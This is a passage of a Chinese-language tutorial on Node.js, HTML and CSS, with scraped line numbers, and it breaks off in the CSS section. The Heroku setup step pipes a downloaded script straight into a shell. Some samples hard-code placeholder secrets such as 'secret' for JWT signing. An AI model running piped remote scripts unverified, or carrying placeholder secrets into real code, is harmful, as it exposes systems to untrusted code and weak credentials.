// 定义用户模型
const userSchema = new mongoose.Schema({
name: { type: String, required: true },
email: { type: String, required: true, unique: true },
password: { type: String, required: true }
});

module.exports = mongoose.model('User', userSchema);

运行 Node.js 项目

  1. 初始化项目

    1
    2
    3
    4
    5
    bash


    复制代码
    npm init -y
  2. 安装依赖

    1
    2
    3
    4
    5
    bash


    复制代码
    npm install express mongoose dotenv ejs
  3. 运行项目

    1
    2
    3
    4
    5
    bash


    复制代码
    node app.js
  4. 打开浏览器访问:

    1
    2
    3
    4
    5
    arduino


    复制代码
    http://localhost:3000

总结

一个典型的 Node.js Web 项目包含以下结构:

  • **/public**:存放静态资源(HTML、CSS、JS)。
  • **/routes**:定义路由。
  • **/controllers**:处理业务逻辑。
  • **/models**:定义数据库模型。
  • **app.js**:Express 应用的入口文件。

1. Node.js 基础

2. 模块与包管理

3. 异步编程

4. 文件操作与 I/O

5. 数据库与存储

6. Web 开发与框架

7. 测试与调试

8. 部署与性能优化

9. 安全性

10. 实战项目

1.1 什么是 Node.js

Node.js 是一个基于 Chrome V8 JavaScript 引擎 构建的 JavaScript 运行环境。它允许开发者使用 JavaScript 编写后端代码,因此前后端可以共享同一种语言。Node.js 主要用于开发网络服务器、实时应用程序、命令行工具等,具有以下特点:

  • 事件驱动:Node.js 的事件驱动架构使其能够高效地处理并发连接。
  • 异步非阻塞 I/O:通过异步处理,Node.js 可以在不阻塞程序执行的情况下处理 I/O 操作(文件系统、网络请求等)。
  • 单线程模型:尽管 Node.js 是单线程的,但它通过事件循环和异步编程支持高并发处理。

1.2 Node.js 安装与配置

1.2.1 在不同平台上安装 Node.js

  • Windows:访问 Node.js 官网 下载适合你的安装包,并运行安装程序。
  • macOS:使用 Homebrew 安装:
    1
    brew install node
  • Linux:通过包管理器安装:
    1
    2
    sudo apt update
    sudo apt install nodejs npm

1.2.2 验证安装

在终端中输入以下命令,确保 Node.js 和 npm 安装成功:

1
2
node -v
npm -v

1.3 Node.js 运行机制与事件循环

Node.js 使用 事件驱动非阻塞 I/O 模型 来处理高并发。它基于 单线程 处理所有的请求,通过事件循环管理异步操作。

1.3.1 事件循环的工作原理

事件循环是 Node.js 的核心,它允许 Node.js 处理异步 I/O 操作而不阻塞主线程。每次异步操作被注册到事件循环中,当 I/O 操作完成时,相关的回调函数会被放入任务队列,等待事件循环调度执行。

1
2
3
4
5
6
7
8
9
10
11
12
console.log('Start');

setTimeout(() => {
console.log('Inside Timeout');
}, 1000);

console.log('End');

// 输出顺序:
// Start
// End
// Inside Timeout

1.4 Node.js 与 JavaScript 的区别

Node.js 和 JavaScript 都使用同样的语言语法,但它们的运行环境和使用场景不同:

  • JavaScript 主要运行在浏览器中,用于操控 DOM 和处理前端交互。
  • Node.js 运行在服务器端,用于构建后端应用程序和处理 I/O 操作。

Node.js 提供了许多 JavaScript 在浏览器中没有的模块,如 fs (文件系统模块)、http (HTTP 模块)、net (网络模块) 等。


2. 模块与包管理

2.1 Node.js 内置模块

Node.js 提供了一系列内置模块,允许开发者处理常见的任务,如文件操作、网络请求等。

2.1.1 fs 文件系统模块

fs 模块用于处理文件系统的操作,包括读取、写入文件和管理文件夹。

读取文件:

1
2
3
4
5
6
7
8
9
const fs = require('fs');

fs.readFile('example.txt', 'utf8', (err, data) => {
if (err) {
console.error(err);
return;
}
console.log(data);
});

2.1.2 http 模块

http 模块用于创建 HTTP 服务器和处理请求/响应。

创建简单的 HTTP 服务器:

1
2
3
4
5
6
7
8
9
10
const http = require('http');

const server = http.createServer((req, res) => {
res.writeHead(200, {'Content-Type': 'text/plain'});
res.end('Hello, World!\n');
});

server.listen(3000, () => {
console.log('Server is running on http://localhost:3000');
});

2.1.3 path 模块

path 模块用于处理和规范化文件路径。

获取文件的扩展名:

1
2
3
4
const path = require('path');

const ext = path.extname('example.txt');
console.log(ext); // 输出: .txt

2.1.4 os 模块

os 模块提供与操作系统相关的实用函数和属性。

获取系统的内存信息:

1
2
3
4
const os = require('os');

console.log(`Total Memory: ${os.totalmem()} bytes`);
console.log(`Free Memory: ${os.freemem()} bytes`);

2.1.5 crypto 模块

crypto 模块提供了加密操作的功能,用于生成哈希、加密和解密数据。

生成 SHA256 哈希:

1
2
3
4
const crypto = require('crypto');

const hash = crypto.createHash('sha256').update('password').digest('hex');
console.log(hash);

2.2 使用 NPM 和包管理

NPM 是 Node.js 的包管理器,允许开发者安装、管理和分享第三方库。

2.2.1 NPM 的安装和使用

在安装 Node.js 时,NPM 会自动安装。你可以使用以下命令检查是否安装成功:

1
npm -v

2.2.2 管理项目依赖

安装依赖包:

1
npm install express

卸载依赖包:

1
npm uninstall express

2.2.3 版本控制与语义化版本

NPM 使用语义化版本控制 (SemVer),版本号格式为 MAJOR.MINOR.PATCH

  • MAJOR:有重大更改或破坏兼容性时增加。
  • MINOR:添加新功能但不破坏兼容性时增加。
  • PATCH:修复 bug 且不破坏兼容性时增加。

2.2.4 使用 package.json 管理项目

package.json 是 Node.js 项目配置文件,用于定义项目的依赖、脚本、版本号等。

生成 package.json 文件:

1
npm init

示例 package.json 文件:

1
2
3
4
5
6
7
8
9
10
{
"name": "my-app",
"version": "1.0.0",
"scripts": {
"start": "node app.js"
},
"dependencies": {
"express": "^4.17.1"
}
}

2.3 自定义模块与 CommonJS 规范

2.3.1 导入与导出模块

Node.js 遵循 CommonJS 模块规范,通过 module.exports 导出模块,通过 require 导入模块。

导出模块:

1
2
3
// file: math.js
module.exports.add = (a, b) => a + b;
module.exports.subtract = (a, b) => a - b;

导入模块:

1
2
3
const math = require('./math');

console.log(math.add(2, 3)); // 输出: 5

2.3.2 CommonJS 和 ES6 模块的区别

  • CommonJS 是 Node.js 的默认模块系统,使用 requiremodule.exports
  • ES6 模块 使用 importexport 语法,在 Node.js 中也逐渐被支持,需要在 package.json 中添加 "type": "module"

3. 异步编程

3.1 异步编程基础

Node.js 的异步编程是其核心特点,允许程序在执行耗时任务时继续处理其他任务。

3.1.1 回调函数

回调函数是最基础的异步处理方式,将一个函数作为参数传递给另一个函数,在异步任务完成后调用该回调函数。

1
2
3
4
5
6
const fs = require('fs');

fs.readFile('example.txt', 'utf8', (err, data) => {
if (err) throw err;
console.log(data);
});

3.1.2 Promise 对象

Promise 是一种更现代的异步处理方式,可以避免回调地狱问题。

1
2
3
4
5
const fs = require('fs').promises;

fs.readFile('example.txt', 'utf8')
.then(data => console.log(data))
.catch(err => console.error(err));

3.1.3 async/await 语法

async/await 是基于 Promise 的语法糖,能够以同步的写法处理异步任务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
const fs = require('fs').promises;

async function readFile() {


try {
const data = await fs.readFile('example.txt', 'utf8');
console.log(data);
} catch (err) {
console.error(err);
}
}

readFile();

3.2 事件驱动编程

Node.js 的事件驱动编程通过 事件循环事件发射器 (EventEmitter) 实现。

3.2.1 使用 EventEmitter

EventEmitter 是 Node.js 的核心类,用于创建和监听事件。

1
2
3
4
5
6
7
8
const EventEmitter = require('events');
const emitter = new EventEmitter();

emitter.on('event', () => {
console.log('Event has occurred!');
});

emitter.emit('event');

3.2.2 自定义事件处理

你可以自定义事件,事件可以传递参数供监听器处理。

1
2
3
4
5
emitter.on('greet', (name) => {
console.log(`Hello, ${name}!`);
});

emitter.emit('greet', 'Alice');

3.3 异步控制流管理

3.3.1 async.js 库的使用

async.js 是一个控制异步流程的库,提供了多种控制异步任务的方式,如并行、串行等。

并行执行异步任务:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
const async = require('async');

async.parallel([
function(callback) {
setTimeout(() => {
console.log('Task 1');
callback(null, 1);
}, 1000);
},
function(callback) {
setTimeout(() => {
console.log('Task 2');
callback(null, 2);
}, 500);
}
], (err, results) => {
console.log(results); // 输出: [1, 2]
});

3.3.2 异步队列与并发控制

async.queue 提供了一种控制并发执行任务的方式。

1
2
3
4
5
6
7
8
9
10
const async = require('async');

const q = async.queue((task, callback) => {
console.log(`Processing task ${task.name}`);
callback();
}, 2); // 最大并发数为 2

q.push({name: 'Task 1'});
q.push({name: 'Task 2'});
q.push({name: 'Task 3'});

4. 文件操作与 I/O

4.1 文件系统操作

Node.js 的 fs 模块用于与文件系统交互,可以读取、写入文件以及管理目录。它支持同步和异步操作。

4.1.1 读取与写入文件

异步读取文件:

1
2
3
4
5
6
const fs = require('fs');

fs.readFile('example.txt', 'utf8', (err, data) => {
if (err) throw err;
console.log(data);
});

同步读取文件:

1
2
const data = fs.readFileSync('example.txt', 'utf8');
console.log(data);

写入文件:

1
2
3
4
5
const content = 'This is a new content.';
fs.writeFile('output.txt', content, (err) => {
if (err) throw err;
console.log('File written successfully.');
});

4.1.2 文件流与大文件处理

对于大文件,使用流处理更高效,因为流分块读取文件,而不是将整个文件读入内存。

读取文件流:

1
2
3
4
5
6
const fs = require('fs');

const readStream = fs.createReadStream('largeFile.txt', { encoding: 'utf8' });
readStream.on('data', (chunk) => {
console.log(`Received chunk: ${chunk}`);
});

写入文件流:

1
2
3
4
5
const writeStream = fs.createWriteStream('output.txt');

writeStream.write('First chunk of data\n');
writeStream.write('Second chunk of data\n');
writeStream.end('End of writing process.');

4.2 网络 I/O 操作

Node.js 提供了丰富的网络操作模块,特别适合处理高并发的网络应用。

4.2.1 创建 HTTP 服务器

Node.js 的 http 模块可以用于创建 HTTP 服务器,处理客户端请求和响应。

1
2
3
4
5
6
7
8
9
10
const http = require('http');

const server = http.createServer((req, res) => {
res.writeHead(200, { 'Content-Type': 'text/plain' });
res.end('Hello, World!\n');
});

server.listen(3000, () => {
console.log('Server is running at http://localhost:3000');
});

4.2.2 处理请求与响应

在处理客户端请求时,Node.js 提供了 req 对象(表示请求)和 res 对象(表示响应)。

获取请求的 URL 和方法:

1
2
3
4
5
6
7
const server = http.createServer((req, res) => {
console.log(`Requested URL: ${req.url}`);
console.log(`Request method: ${req.method}`);

res.writeHead(200, { 'Content-Type': 'text/html' });
res.end('<h1>Hello, Node.js!</h1>');
});

4.2.3 使用 https 模块进行安全通信

使用 https 模块可以创建安全的 HTTPS 服务器。你需要提供 SSL 证书和私钥。

1
2
3
4
5
6
7
8
9
10
11
12
const https = require('https');
const fs = require('fs');

const options = {
key: fs.readFileSync('private-key.pem'),
cert: fs.readFileSync('certificate.pem')
};

https.createServer(options, (req, res) => {
res.writeHead(200);
res.end('Hello, HTTPS world!');
}).listen(443);

5. 数据库与存储

Node.js 支持多种数据库,包括 NoSQL(如 MongoDB)和关系型数据库(如 MySQL)。

5.1 使用 MongoDB

MongoDB 是一种 NoSQL 数据库,适用于存储 JSON 风格的文档数据。使用 mongoose 库,可以轻松连接和操作 MongoDB 数据库。

5.1.1 连接到 MongoDB

安装 mongoose 并连接到 MongoDB 数据库:

1
npm install mongoose

连接到 MongoDB:

1
2
3
4
5
6
7
8
9
const mongoose = require('mongoose');

mongoose.connect('mongodb://localhost:27017/mydb', { useNewUrlParser: true, useUnifiedTopology: true });

const db = mongoose.connection;
db.on('error', console.error.bind(console, 'Connection error:'));
db.once('open', () => {
console.log('Connected to MongoDB.');
});

5.1.2 CRUD 操作

定义数据模型:

1
2
3
4
const User = mongoose.model('User', {
name: String,
age: Number
});

创建新文档:

1
2
3
4
5
const user = new User({ name: 'Alice', age: 30 });
user.save((err) => {
if (err) throw err;
console.log('User saved.');
});

查询数据:

1
2
3
4
User.find({ name: 'Alice' }, (err, users) => {
if (err) throw err;
console.log(users);
});

5.1.3 使用 Mongoose 进行数据建模

Mongoose 提供了 Schema 定义功能,帮助我们对 MongoDB 数据进行建模。

定义 Schema:

1
2
3
4
5
6
7
const userSchema = new mongoose.Schema({
name: String,
age: Number,
email: { type: String, required: true, unique: true }
});

const User = mongoose.model('User', userSchema);

5.2 使用 MySQL

MySQL 是一种关系型数据库,Node.js 提供了多种库来连接 MySQL 数据库,如 mysqlsequelize 等。

5.2.1 连接到 MySQL

安装 mysql 库:

1
npm install mysql

连接到 MySQL:

1
2
3
4
5
6
7
8
9
10
11
12
13
const mysql = require('mysql');

const connection = mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'password',
database: 'mydb'
});

connection.connect((err) => {
if (err) throw err;
console.log('Connected to MySQL.');
});

5.2.2 执行 SQL 查询

执行 SELECT 查询:

1
2
3
4
connection.query('SELECT * FROM users', (err, results) => {
if (err) throw err;
console.log(results);
});

执行 INSERT 查询:

1
2
3
4
5
const user = { name: 'Bob', age: 25 };
connection.query('INSERT INTO users SET ?', user, (err, result) => {
if (err) throw err;
console.log('User added.');
});

5.2.3 使用 sequelize 进行 ORM 映射

sequelize 是 Node.js 中常用的 ORM 工具,支持 MySQL、PostgreSQL、SQLite 等数据库。

安装 sequelize 和 MySQL 驱动:

1
npm install sequelize mysql2

定义模型并同步数据库:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
const { Sequelize, DataTypes } = require('sequelize');
const sequelize = new Sequelize('mydb', 'root', 'password', {
host: 'localhost',
dialect: 'mysql'
});

const User = sequelize.define('User', {
name: {
type: DataTypes.STRING,
allowNull: false
},
age: {
type: DataTypes.INTEGER,
allowNull: false
}
});

sequelize.sync().then(() => {
console.log('Database synced.');
});

6. Web 开发与框架

Node.js 是开发 Web 应用的热门选择,常用的 Web 框架包括 ExpressKoa

6.1 使用 Express 框架

Express 是最流行的 Node.js Web 框架,简化了路由处理、请求处理和中间件管理。

6.1.1 创建基本的 Express 应用

安装 Express

1
npm install express

创建简单的 Express 应用:

1
2
3
4
5
6
7
8
9
10
const express = require('express');
const app = express();

app.get('/', (req, res) => {
res.send('Hello, Express!');
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

6.1.2 路由与中间件

定义路由:

1
2
3
app.get('/user/:id', (req, res) => {
res.send(`User ID: ${req.params.id}`);
});

使用中间件:

1
2
3
4
app.use((req, res, next) => {
console.log(`Request URL: ${req.url}`);
next();
});

6.1.3 处理表单和 JSON 数据

Express 可以使用 express.urlencoded()express.json() 中间件来处理表单数据和 JSON 数据。

处理 JSON 数据:

1
2
3
4
5
6
app.use(express.json());

app.post('/submit', (req, res) => {
console.log(req.body);
res.send('Data received.');
});

6.1.4 错误处理

定义错误处理中间件,捕获路由和中间件中的错误。

1
2
3
4
5
6
app.use((err, req, res, next) => {


console.error(err.stack);
res.status(500).send('Something broke!');
});

6.2 使用 Koa 框架

Koa 是由 Express 的原始团队设计的新一代 Web 框架,基于中间件的功能更强大、更灵活。

6.2.1 Koa 的特点与 Express 对比

  • 更现代化:Koa 使用 ES6 async/await 处理异步操作,简化了代码逻辑。
  • 中间件设计:Koa 的中间件更加灵活,开发者可以完全控制响应流程。

6.2.2 创建 Koa 应用

安装 Koa

1
npm install koa

创建基本 Koa 应用:

1
2
3
4
5
6
7
8
9
10
const Koa = require('koa');
const app = new Koa();

app.use(async (ctx) => {
ctx.body = 'Hello, Koa!';
});

app.listen(3000, () => {
console.log('Server running on http://localhost:3000');
});

6.2.3 中间件与路由处理

定义中间件:

1
2
3
4
app.use(async (ctx, next) => {
console.log(`Request URL: ${ctx.url}`);
await next();
});

处理路由:

1
2
3
4
5
6
7
8
const Router = require('koa-router');
const router = new Router();

router.get('/user/:id', async (ctx) => {
ctx.body = `User ID: ${ctx.params.id}`;
});

app.use(router.routes());

7. 测试与调试

Node.js 提供了多种测试与调试工具,帮助开发者确保代码的正确性和性能。

7.1 单元测试与集成测试

单元测试是确保各个模块功能正常的基本方式。Mocha 是 Node.js 中常用的测试框架,配合 Chai 进行断言。

7.1.1 使用 Mocha 进行单元测试

安装 Mocha

1
npm install --save-dev mocha

编写简单测试:

1
2
3
4
5
6
7
const assert = require('assert');

describe('Math Test', () => {
it('should return the sum of two numbers', () => {
assert.strictEqual(1 + 1, 2);
});
});

运行测试:

1
npx mocha

7.1.2 使用 Chai 进行断言

安装 Chai

1
npm install chai --save-dev

使用 Chai 进行更丰富的断言:

1
2
3
4
5
6
7
8
const chai = require('chai');
const expect = chai.expect;

describe('Math Test', () => {
it('should return the sum of two numbers', () => {
expect(1 + 1).to.equal(2);
});
});

7.1.3 测试异步代码

Mocha 支持测试异步代码,使用 done 回调或者 async/await

1
2
3
4
5
6
describe('Async Test', () => {
it('should test async code', async () => {
const result = await new Promise((resolve) => setTimeout(() => resolve(42), 100));
expect(result).to.equal(42);
});
});

7.2 调试 Node.js 应用

7.2.1 使用 console.log 调试

最简单的调试方式是通过 console.log() 输出变量值和函数的执行情况。

1
console.log('Debugging: ', someVariable);

7.2.2 使用 Node.js 内置调试器

Node.js 自带了调试器,允许开发者设置断点并逐步调试代码。

启动调试模式:

1
node inspect app.js

7.2.3 使用 VS Code 调试 Node.js 应用

Visual Studio Code 提供了强大的调试工具,允许直接在编辑器中设置断点并运行调试。

配置 launch.json

1
2
3
4
5
6
7
8
9
10
11
{
"version": "0.2.0",
"configurations": [
{
"type": "node",
"request": "launch",
"name": "Launch Program",
"program": "${workspaceFolder}/app.js"
}
]
}

8. 部署与性能优化

Node.js 应用可以通过多种方式进行部署,如使用 PM2Docker 或在 云平台 上进行托管。

8.1 部署 Node.js 应用

8.1.1 使用 PM2 进行进程管理

PM2 是一个强大的 Node.js 进程管理工具,支持自动重启、日志管理等功能。

安装 PM2

1
npm install pm2 -g

启动应用:

1
pm2 start app.js

查看应用状态:

1
pm2 status

8.1.2 Docker 部署 Node.js 应用

创建 Dockerfile

1
2
3
4
5
FROM node:14
WORKDIR /app
COPY . .
RUN npm install
CMD ["node", "app.js"]

构建 Docker 镜像并运行:

1
2
docker build -t myapp .
docker run -p 3000:3000 myapp

8.1.3 在云平台上部署 Node.js

Node.js 可以轻松部署到各种云平台,如 AWS、Heroku、Google Cloud 等。

Heroku 部署步骤:

  1. 安装 Heroku CLI:

    1
    curl https://cli-assets.heroku.com/install.sh | sh
  2. 登录 Heroku:

    1
    heroku login
  3. 部署应用:

    1
    2
    heroku create
    git push heroku master

8.2 性能优化与缓存

8.2.1 使用 Redis 缓存

Redis 是一种内存数据结构存储,常用于缓存数据以减少数据库压力。

安装 Redis 客户端:

1
npm install redis

连接 Redis 并设置缓存:

1
2
3
4
5
6
7
const redis = require('redis');
const client = redis.createClient();

client.set('key', 'value', redis.print);
client.get('key', (err, reply) => {
console.log(reply); // 输出: value
});

8.2.2 内存优化与垃圾回收

Node.js 是基于 V8 引擎的,V8 自带了垃圾回收机制,但在大数据处理时需要注意内存管理。

检测内存使用情况:

1
console.log(process.memoryUsage());

8.2.3 使用集群模式提高性能

Node.js 单线程模型可以通过 Cluster 模式 利用多核 CPU 提高性能。

使用 cluster 模块创建多进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const cluster = require('cluster');
const http = require('http');
const os = require('os');

if (cluster.isMaster) {
const numCPUs = os.cpus().length;
console.log(`Master process running, spawning ${numCPUs} workers...`);

for (let i = 0; i < numCPUs; i++) {
cluster.fork();
}

cluster.on('exit', (worker, code, signal) => {
console.log(`Worker ${worker.process.pid} died.`);
});
} else {
http.createServer((req, res) => {
res.writeHead(200);
res.end('Hello from worker\n');
}).listen(8000);

console.log(`Worker ${process.pid} started`);
}

9. 安全性

Node.js 的安全性在 Web 应用中至关重要,常见的威胁包括 注入攻击跨站脚本攻击 (XSS)CSRF

9.1 安全性最佳实践

9.1.1 防止注入攻击

避免直接拼接用户输入的数据,使用参数化查询防止 SQL 注入。

使用参数化查询:

1
2
3
4
connection.query('SELECT * FROM users WHERE id = ?', [userId], (err, results) => {
if (err) throw err;
console.log(results);
});

9.1.2 防止跨站脚本攻击 (XSS)

使用输入校验、输出编码和安全库(如 helmet.js)防止 XSS 攻击。

输出编码:

1
const sanitizedData = escapeHtml(userInput);

9.1.3 使用 helmet.js 保护应用

helmet.js 是用于保护 Express 应用的安全库。

安装 helmet

1
npm install helmet

在 Express 中使用:

1
2
const helmet = require('helmet');
app.use(helmet());

9.2 身份验证与授权

9.2.1 使用 JWT 进行身份验证

JWT (JSON Web Token) 是一种轻量级的身份验证机制,通常用于

API 身份认证。

安装 jsonwebtoken

1
npm install jsonwebtoken

生成 JWT:

1
2
const jwt = require('jsonwebtoken');
const token = jwt.sign({ userId: 123 }, 'secret', { expiresIn: '1h' });

9.2.2 OAuth 与第三方登录集成

OAuth 是一种授权协议,常用于集成第三方登录(如 Google、Facebook)。

使用 passport.js 库实现 OAuth 登录:

1
npm install passport passport-google-oauth

10. 实战项目

10.1 构建 RESTful API

构建 RESTful API 是 Node.js 的常见应用场景之一。以下是使用 Express 框架构建 RESTful API 的基础示例。

10.1.1 RESTful API 基础

定义基本路由:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
const express = require('express');
const app = express();

app.use(express.json());

app.get('/api/users', (req, res) => {
res.send('Get all users');
});

app.post('/api/users', (req, res) => {
res.send('Create a new user');
});

app.listen(3000, () => {
console.log('Server running on port 3000');
});

10.2 实现 WebSocket 通信

WebSocket 是一种在客户端和服务器之间实现全双工通信的协议,适合实时应用。

10.2.1 WebSocket 基础

Node.js 可以使用 ws 模块实现 WebSocket 通信。

安装 ws 模块:

1
npm install ws

创建 WebSocket 服务器:

1
2
3
4
5
6
7
8
9
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws) => {
ws.on('message', (message) => {
console.log('Received: %s', message);
});
ws.send('Hello WebSocket Client!');
});

10.2.2 使用 ws 实现 WebSocket 服务

1
2
3
4
5
6
wss.on('connection', (ws) => {
ws.on('message', (message) => {
console.log('Received: %s', message);
ws.send(`Echo: ${message}`);
});
});

10.3 使用 GraphQL 构建 API

GraphQL 是一种灵活的数据查询语言,适合复杂查询的 API 设计。

10.3.1 GraphQL 概述

GraphQL 提供了查询、变更和订阅功能,允许客户端请求所需的数据。

10.3.2 使用 Apollo Server 构建 GraphQL API

安装 apollo-servergraphql

1
npm install apollo-server graphql

定义 Schema 和 Resolvers:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const { ApolloServer, gql } = require('apollo-server');

const typeDefs = gql`
type Query {
hello: String
}
`;

const resolvers = {
Query: {
hello: () => 'Hello, GraphQL!'
}
};

const server = new ApolloServer({ typeDefs, resolvers });

server.listen().then(({ url }) => {
console.log(`Server ready at ${url}`);
});

HTML 详尽入门指南

目录

  1. HTML 基础
  2. HTML 元素详解
  3. HTML 表单
  4. HTML 表格
  5. HTML 多媒体
  6. HTML 基本布局

HTML 基础

HTML 文件结构

一个完整的 HTML 文档包括以下基本结构:

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html> 
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>示例 HTML 页面</title>
</head>
<body>
<h1>欢迎来到我的网站</h1>
<p>这是一个简单的 HTML 页面。</p>
</body>
</html>

解释:

  • <!DOCTYPE html>:声明文档类型,告知浏览器这是一个 HTML5 文档。
  • <html>:HTML 文档的根元素。
  • <head>:包含关于文档的信息(元数据),如标题、编码、样式等。
  • <title>:网页的标题,显示在浏览器的标签页上。
  • <meta charset="UTF-8">:设置文档的字符编码为 UTF-8,确保支持多语言字符集。
  • <meta name="viewport" content="width=device-width, initial-scale=1.0">:响应式设计设置,适配移动设备。
  • <body>:文档的主体,包含网页的可见内容。

HTML 标记(标签)

HTML 使用标记(标签)来表示网页的元素。HTML 标签通常成对出现,由开始标签和结束标签构成:

1
<p>这是一个段落。</p>
  • <p> 是段落的开始标签。
  • </p> 是段落的结束标签。

某些 HTML 标签是自闭合的,表示该元素没有内容,例如:

1
<img src="image.jpg" alt="示例图片">
  • <img> 是图片标签,它没有结束标签。

HTML 元素详解

标题(Headings)

HTML 提供了六种不同级别的标题标签,<h1><h6>,其中 <h1> 表示最大的标题,<h6> 表示最小的标题。

1
2
3
<h1>这是一级标题</h1>
<h2>这是二级标题</h2>
<h3>这是三级标题</h3>

标题的作用不仅是视觉上的层次结构,还会被搜索引擎用于页面索引,有助于 SEO 优化。


段落(Paragraphs)

段落用 <p> 标签表示,用于将文本分成段落。

1
2
<p>这是第一个段落。</p>
<p>这是第二个段落。</p>

多个段落会自动在浏览器中分开显示。


链接(Links)

链接是 HTML 中非常重要的元素,用于创建超链接,使用户可以在页面之间或外部网站之间导航。

1
<a href="https://www.example.com">点击访问示例网站</a>
  • href 属性指定了链接目标(URL)。
  • 链接的文本是可点击的部分。

你也可以使用 target="_blank" 属性在新标签页中打开链接:

1
<a href="https://www.example.com" target="_blank">在新标签页中打开</a>

图像(Images)

使用 <img> 标签来在网页中插入图像。

1
<img src="image.jpg" alt="描述图像">
  • src 属性指定图片的路径或 URL。
  • alt 属性为图片提供文本替代,浏览器无法加载图像时显示,或用于屏幕阅读器。

列表(Lists)

HTML 提供了两种主要的列表:有序列表和无序列表。

  • 无序列表 使用 <ul><li> 标签:
1
2
3
4
5
<ul>
<li>项目一</li>
<li>项目二</li>
<li>项目三</li>
</ul>
  • 有序列表 使用 <ol><li> 标签:
1
2
3
4
5
<ol>
<li>第一项</li>
<li>第二项</li>
<li>第三项</li>
</ol>

HTML 表单

HTML 表单允许用户输入数据,并通过提交数据与服务器进行交互。

表单元素

HTML 提供了多种表单元素,包括文本框、单选按钮、复选框、下拉菜单等。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<form action="/submit" method="post">
<label for="name">姓名:</label>
<input type="text" id="name" name="name"><br><br>

<label for="email">邮箱:</label>
<input type="email" id="email" name="email"><br><br>

<label for="gender">性别:</label>
<input type="radio" id="male" name="gender" value="male">
<label for="male"></label>
<input type="radio" id="female" name="gender" value="female">
<label for="female"></label><br><br>

<label for="hobby">爱好:</label>
<input type="checkbox" id="hobby1" name="hobby[]" value="阅读">
<label for="hobby1">阅读</label>
<input type="checkbox" id="hobby2" name="hobby[]" value="运动">
<label for="hobby2">运动</label><br><br>

<input type="submit" value="提交">
</form>
  • input 标签表示用户输入字段。
  • label 标签与表单元素关联,点击标签会聚焦到相应的输入字段。
  • input type="submit" 用于创建提交按钮。

表单提交

  • action 属性指定了表单提交的目标 URL。
  • method 属性定义了提交方式(GET 或 POST)。

当用户填写表单并点击提交按钮后,表单中的数据会被发送到服务器进行处理。


HTML 表格

表格用来展示结构化的数据,表格的基本元素包括 <table><tr>(表格行)、<th>(表头)、<td>(表格单元格)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<table border="1">
<tr>
<th>姓名</th>
<th>年龄</th>
<th>城市</th>
</tr>
<tr>
<td>张三</td>
<td>28</td>
<td>北京</td>
</tr>
<tr>
<td>李四</td>
<td>32</td>
<td>上海</td>
</tr>
</table>
  • <th> 用于表头,默认是加粗且居中的。
  • <td> 用于表格的每个单元格。
  • border="1" 为表格添加边框。

HTML 多媒体

HTML 支持嵌入多媒体文件如音频和视频。

嵌入音频

使用 <audio> 标签嵌入音频文件:

1
2
3
4
<audio controls>
<source src="audio.mp3" type="audio/mpeg">
您的浏览器不支持音频标签。
</audio>
  • controls 属性为音频播放器添加播放控制按钮。

嵌入视频

使用 <video> 标签嵌入视频文件:

1
2
3
4
<video width="320" height="240" controls>
<source src="video.mp4" type="video/mp4">
您的浏览器不支持视频标签。
</video>
  • widthheight 设置视频的显示尺寸。

HTML 基本布局

在网页布局中,可以使用 HTML 的块级元素和行内元素

来设计结构。常用的布局元素包括:

  • 块级元素<div><header><footer><section><article> 等,默认独占一行。
  • 行内元素<span><a><img> 等,默认不会换行。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<div>
<header>
<h1>网站标题</h1>
</header>
<nav>
<a href="/">首页</a> |
<a href="/about">关于</a> |
<a href="/contact">联系我们</a>
</nav>
<section>
<h2>主要内容区域</h2>
<p>这里是文章内容。</p>
</section>
<footer>
<p>&copy; 2024 网站版权所有</p>
</footer>
</div>
  • <header> 用于页面头部。
  • <nav> 用于导航栏。
  • <section> 表示页面中的一个内容块。
  • <footer> 用于页面底部。

CSS 详尽入门与指南

CSS(Cascading Style Sheets,层叠样式表) 是用来描述 HTML 元素如何在屏幕上展示的样式语言。通过使用 CSS,你可以控制网页的布局、颜色、字体、对齐方式、动画等。CSS 是构建美观、现代网页的核心技术之一,结合 HTML 使用,可以创建出复杂且灵活的网页样式


目录

  1. CSS 基础
  2. 选择器详解
  3. CSS 盒模型
  4. CSS 布局
  5. 常见 CSS 属性
  6. CSS 动画与过渡
  7. 响应式设计
  8. CSS 优化技巧

CSS 基础

引入 CSS

在 HTML 中,你可以通过多种方式引入 CSS,最常用的有以下三种方式:

  1. 内联样式:在 HTML 元素的 style 属性中直接定义样式。
1
<p style="color: red;">这是红色的文字</p>
  1. 内部样式表:将 CSS 写在 HTML 文件的 <style> 标签内,位于 <head> 部分。
1
2
3
4
5
6
7
<head>
<style>
p {
color: blue;
}
</style>
</head>
  1. 外部样式表:将 CSS 样式写在独立的 .css 文件中,然后通过 <link> 标签引入。
1
2
3
<head>
<link rel="stylesheet" href="styles.css">
</head>

推荐使用外部样式表,因为它可以将样式与内容分离,方便管理和维护。


CSS 语法

CSS 的基本语法由 选择器声明块 组成。

1
2
3
选择器 {
属性: 值;
}

例子

1
2
3
4
p {
color: green;
font-size: 16px;
}
  • 选择器(Selector):指定需要应用样式的 HTML 元素。
  • 属性(Property):定义要改变的样式属性,如颜色、字体大小等。
  • 值(Value):为属性提供具体的样式值。

选择器详解

CSS 提供了多种选择器,用于选择 HTML 文档中的元素。通过选择器,你可以精确控制哪些元素应用特定的样式。

通用选择器

通用选择器 * 用于选择所有元素。

1
2
3
4
* {
margin: 0;
padding: 0;
}

元素选择器

元素选择器直接选择 HTML 标签中的元素。

1
2
3
p {
color: black;
}

以上代码将所有 <p> 元素的文本颜色设为黑色。

类选择器

类选择器通过元素的 class 属性来选择特定的元素,使用 . 符号。

1
2
3
